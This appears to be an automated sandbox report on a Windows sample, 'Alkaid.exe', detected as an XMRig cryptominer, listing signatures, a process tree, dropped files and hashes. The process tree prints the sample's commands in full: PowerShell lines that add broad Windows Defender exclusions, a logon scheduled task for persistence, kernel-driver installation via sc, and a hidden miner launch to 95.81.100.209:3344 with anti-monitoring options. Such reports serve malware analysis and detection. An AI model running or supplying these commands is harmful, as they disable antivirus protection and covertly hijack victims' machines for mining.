Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 14:16

General

  • Target
    Alkaid.exe
  • Size 3.0MB
  • Sample260930-rlgbea113r
  • SHA256 3e029ec6feda667643596a708d40e3e659947a300e71168b93af093750948d7b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 4 TTPs
  • Enumerates connected drives 3 TTPs 8 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 43 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Alkaid.exe
    "C:\Users\Admin\AppData\Local\Temp\Alkaid.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Alkaid.exe"
      2⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5576
      • C:\Windows\System32\cmd.exe
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\System32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3928
      • C:\Windows\System32\cmd.exe
        "cmd" cmd /c "C:\Windows\system32\services64.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2152
        • C:\Windows\system32\services64.exe
          C:\Windows\system32\services64.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:4324
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
            5⤵
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4056
            • C:\Windows\System32\cmd.exe
              "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
              6⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1312
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Enumerates connected drives
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3412
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Enumerates connected drives
                • Suspicious behavior: EnumeratesProcesses
                PID:4580
            • C:\Windows\system32\Microsoft\Libs\sihost64.exe
              "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:5796
              • C:\Windows\System32\conhost.exe
                "C:\Windows\System32\conhost.exe" "/sihost64"
                7⤵
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2632
                • C:\Windows\System32\cmd.exe
                  "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                  8⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3456
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Enumerates connected drives
                    PID:3264
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Enumerates connected drives
                    PID:2744
                • C:\Windows\system32\services64.exe
                  "C:\Windows\system32\services64.exe"
                  8⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:720
                  • C:\Windows\System32\conhost.exe
                    "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
                    9⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:1108
                    • C:\Windows\System32\cmd.exe
                      "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                      10⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:3912
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                        11⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Enumerates connected drives
                        PID:3160
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                        11⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Enumerates connected drives
                        PID:1092
                    • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                      "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                      10⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:3052
                      • C:\Windows\System32\conhost.exe
                        "C:\Windows\System32\conhost.exe" "/sihost64"
                        11⤵
                          PID:2524
                      • C:\Windows\System32\sc.exe
                        "sc" stop WinRing0_1_2_0
                        10⤵
                        • Launches sc.exe
                        PID:4376
                      • C:\Windows\System32\sc.exe
                        "sc" delete WinRing0_1_2_0
                        10⤵
                        • Launches sc.exe
                        PID:2432
                      • C:\Windows\System32\sc.exe
                        "sc" create WinRing0_1_2_0 type= kernel start= demand binPath= "C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys"
                        10⤵
                        • Launches sc.exe
                        PID:1804
                      • C:\Windows\System32\sc.exe
                        "sc" start WinRing0_1_2_0
                        10⤵
                        • Launches sc.exe
                        PID:2552
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe --cinit-find-x -B --donate-level=0 --algo="rx/0" --asm=auto --randomx-mode=auto --cpu-memory-pool=1 --cpu-no-yield --randomx-wrmsr --huge-pages-jit --url=95.81.100.209:3344 --user=main --pass= --cpu-max-threads-hint=50 --cinit-stealth-targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-idle-wait=3 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth --cinit-no-sleep --cinit-fullscreen
                        10⤵
                          PID:5832
                • C:\Windows\System32\sc.exe
                  "sc" stop WinRing0_1_2_0
                  6⤵
                  • Launches sc.exe
                  PID:5456
                • C:\Windows\System32\sc.exe
                  "sc" delete WinRing0_1_2_0
                  6⤵
                  • Launches sc.exe
                  PID:4084
                • C:\Windows\System32\sc.exe
                  "sc" create WinRing0_1_2_0 type= kernel start= demand binPath= "C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys"
                  6⤵
                  • Launches sc.exe
                  PID:6008
                • C:\Windows\System32\sc.exe
                  "sc" start WinRing0_1_2_0
                  6⤵
                  • Launches sc.exe
                  PID:2692
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe --cinit-find-x -B --donate-level=0 --algo="rx/0" --asm=auto --randomx-mode=auto --cpu-memory-pool=1 --cpu-no-yield --randomx-wrmsr --huge-pages-jit --url=95.81.100.209:3344 --user=main --pass= --cpu-max-threads-hint=50 --cinit-stealth-targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-idle-wait=3 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth --cinit-no-sleep --cinit-fullscreen
                  6⤵
                    PID:6060
        • C:\Windows\system32\taskmgr.exe
          "C:\Windows\system32\taskmgr.exe" /4
          1⤵
          • Checks SCSI registry key(s)
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3808
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:5072

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3fb258eb09a03ef36490fcdd33dbd4a52f2310dfb4611a547857d6c85b6e2b80
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 1006a9c8a4e3a0eedd19c26eeab7a525fd616d6b5d6de8406201431838418eb6
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cbbecd34822025f9c6f62ec39ea4d52da2a15c7687029230762da8dd0c76c512
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 c25f0b530b7639cacad66b6930c170af4576bfb7a0007eb4806d726b37deeab6
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 1599754af315bf45fc5c21a5d9d6289ee5d77b66ecc79c44b56e93a2e4a258b3
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 168454fbd10bd6c316787e0630eccd8473426abab36526d9269a91f4bb86727e
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 7596c206de31f0a71480b6a308e6ced37e91134e394199ccf13b52b72fd665f0
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_enx0hzbq.04n.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_enx0hzbq.04n.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                sihost64.exe

                • Path C:\Windows\System32\Microsoft\Libs\sihost64.exe
                • Size 34KB
                • SHA256 1e9fd12e6dc9902af5965c02e7faa401b8830560dd95ba2e130660a80a3b1ecf
                • MD5 SHA1 SHA512 SSDEEP TLSH

                services64.exe

                • Path C:\Windows\System32\services64.exe
                • Size 3.0MB
                • SHA256 3e029ec6feda667643596a708d40e3e659947a300e71168b93af093750948d7b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                WinRing0x64.sys

                • Path C:\Windows\system32\Microsoft\Libs\WinRing0x64.sys
                • Size 14KB
                • SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/628-0-0x000001A7772C0000-0x000001A777588000-memory.dmp

                memory/628-2-0x00007FF6C2ED0000-0x00007FF6C2F0C000-memory.dmp

                memory/628-4-0x000001A7772C0000-0x000001A777588000-memory.dmp

                memory/628-5-0x00007FF6C2ED0000-0x00007FF6C2F0C000-memory.dmp

                memory/720-134-0x00007FF7F0300000-0x00007FF7F033C000-memory.dmp

                memory/720-131-0x00007FF7F0300000-0x00007FF7F033C000-memory.dmp

                memory/1952-6-0x00007FFE7C94F000-0x00007FFE7C950000-memory.dmp

                memory/1952-10-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/1952-12-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/1952-3-0x00000262EBAC0000-0x00000262EBD81000-memory.dmp

                memory/1952-7-0x00000262EE8C0000-0x00000262EEB82000-memory.dmp

                memory/1952-68-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/1952-41-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/1952-8-0x00000262EDC20000-0x00000262EDC32000-memory.dmp

                memory/1952-11-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/1952-31-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/1952-9-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/2632-102-0x00000243171F0000-0x00000243171F7000-memory.dmp

                memory/2632-103-0x0000024318DC0000-0x0000024318DC6000-memory.dmp

                memory/3412-92-0x00000144F9300000-0x00000144F93B2000-memory.dmp

                memory/3808-48-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-44-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-42-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-53-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-52-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-51-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-50-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/3808-49-0x00000206AAAA0000-0x00000206AAAA1000-memory.dmp

                memory/4248-32-0x000001F17F290000-0x000001F17F29A000-memory.dmp

                memory/4248-26-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-30-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-15-0x000001F1670F0000-0x000001F167112000-memory.dmp

                memory/4248-16-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-29-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-28-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-27-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-17-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-34-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-25-0x000001F17F560000-0x000001F17F612000-memory.dmp

                memory/4248-24-0x000001F17F2A0000-0x000001F17F2BE000-memory.dmp

                memory/4248-21-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-20-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-19-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4248-18-0x00007FFE7C7C0000-0x00007FFE7D164000-memory.dmp

                memory/4324-76-0x00007FF65A270000-0x00007FF65A2AC000-memory.dmp

                memory/4324-73-0x00007FF65A270000-0x00007FF65A2AC000-memory.dmp

                memory/6060-94-0x0000000140000000-0x00000001408EE000-memory.dmp